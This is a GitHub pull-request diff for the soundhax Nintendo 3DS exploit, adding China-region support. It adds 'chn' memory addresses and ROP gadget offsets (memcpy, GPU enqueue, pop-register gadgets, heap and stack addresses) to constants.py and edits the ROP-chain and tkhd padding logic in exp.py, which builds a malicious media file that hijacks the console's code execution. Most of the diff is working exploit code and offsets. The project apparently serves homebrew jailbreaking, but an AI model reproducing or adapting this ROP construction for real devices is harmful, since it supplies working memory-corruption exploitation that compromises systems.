Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -26,8 +26,8 @@ While soundhax itself can be used with pre-v9.0(pre-v9.6 with KOR), \*hax payloa

| Status | KOR | CHN | TWN |
| --- | --- | --- | --- |
| bug confirmed | ✓ | | ✗ |
| sound constants | ✓ | | ✗ |
| bug confirmed | ✓ | | ✗ |
| sound constants | ✓ | | ✗ |
| stage2 payload constants | ✓ | ✗ | ✗ |

## Installation
Expand Down
14 changes: 14 additions & 0 deletions constants.py
Original file line number Diff line number Diff line change
Expand Up @@ -61,83 +61,97 @@
"eur": 0x15D62F10,
"jpn": 0x15D62F10,
"kor": 0x15D69A94,
"chn": 0x15D69A94,
},
"heapctx": {
"usa": 0x0039B560,
"eur": 0x0039B580,
"jpn": 0x0039B520,
"kor": 0x003B4520,
"chn": 0x003B4520,
},
"start": {
"usa": 0x140018AF,
"eur": 0x140018AF,
"jpn": 0x140018AF,
"kor": 0x140018AF,
"chn": 0x140018AF,
},
"end1": {
"usa": 0x14001920,
"eur": 0x14001920,
"jpn": 0x14001920,
"kor": 0x14001920,
"chn": 0x14001920,
},
"sleep_gadget": {
"usa": 0x001B5A5C,
"eur": 0x002F11C0,
"jpn": 0x002F0F28,
"kor": 0x0012A6C8,
"chn": 0x0012A6C8,
},
"gpu_flushcache_gadget": {
"usa": 0x002E2958,
"eur": 0x002E2AC8,
"jpn": 0x002E2830,
"kor": 0x0012B730,
"chn": 0x0012B730,
},
"gpu_enqueue_gadget": {
"usa": 0x002E96FC,
"eur": 0x002E9428,
"jpn": 0x002E95D4,
"kor": 0x00131B0C,
"chn": 0x00131B0C,
},
"memcpy_gadget": {
"usa": 0x0022DB1C,
"eur": 0x0022DB1C,
"jpn": 0x0022DB1C,
"kor": 0x00228910,
"chn": 0x00228954,
},
"pop_r0_pc": {
"usa": 0x002e6f80,
"eur": 0x002E70F0,
"jpn": 0x002E6E58,
"kor": 0x0012FA94,
"chn": 0x0012FA94,
},
"pop_r1_pc": {
"usa": 0x0022B6C8,
"eur": 0x0022B6C8,
"jpn": 0x0022B6C8,
"kor": 0x002220E0,
"chn": 0x00222124,
},
"payload_stack_addr": {
"usa": 0x15D630C8,
"eur": 0x15D630C8,
"jpn": 0x15D630C8,
"kor": 0x15D69C38,
"chn": 0x15D69C38,
},
"stage2_code_va": {
"usa": 0x002F5D00,
"eur": 0x002F5D00,
"jpn": 0x002F5D00,
"kor": 0x002F5D00,
"chn": 0x002F5D00,
},
"pop_r2_thru_r6_pc": {
"usa": 0x0021462C,
"eur": 0x00108910,
"jpn": 0x0021462C,
"kor": 0x00148740,
"chn": 0x00148748,
},
"payload_heap_addr": {
"usa": 0x14200000,
"eur": 0x14200000,
"jpn": 0x14200000,
"kor": 0x14200000,
"chn": 0x14200000,
}
}
8 changes: 4 additions & 4 deletions exp.py
Original file line number Diff line number Diff line change
Expand Up @@ -122,7 +122,7 @@ def code_va_to_pa(va):
rop += "cccc" # r5
rop += "dddd" # r6
rop += p(gpu_enqueue_gadget)
if REGION != 'kor':
if (REGION != 'kor') and (REGION != 'chn'):
rop += "aaaa" # skipped
rop += p(4)
rop += p(payload_heap_addr)
Expand All @@ -132,15 +132,15 @@ def code_va_to_pa(va):
rop += p(0)
rop += p(8)
rop += p(0)
if REGION == 'kor':
if (REGION == 'kor') or (REGION == 'chn'):
rop += "aaaa" # skipped (with KOR the above gxcmd buffer is at sp+0 instead of sp+4, but stackframe size is the same)
rop += "AAAA" # r4
rop += "AAAA" # r5
rop += "AAAA" # r6
rop += "AAAA" # r7
rop += "AAAA" # r8
rop += "AAAA" # r9
if REGION != 'kor':
if (REGION != 'kor') and (REGION != 'chn'):
rop += "AAAA" # r10
rop += "AAAA" # r11
rop += p(pop_r0_pc) # pc
Expand All @@ -155,7 +155,7 @@ def code_va_to_pa(va):
rop += payload

tkhd_data = 'A'*136 # padding
if REGION != 'kor':
if (REGION != 'kor') and (REGION != 'chn'):
tkhd_data += 'A'*0x28 # padding
tkhd_data += rop # ROP starts here
tkhd_data += '00000002000000000000940000000000000000000000000001000000000100000000000000'.decode("hex")
Expand Down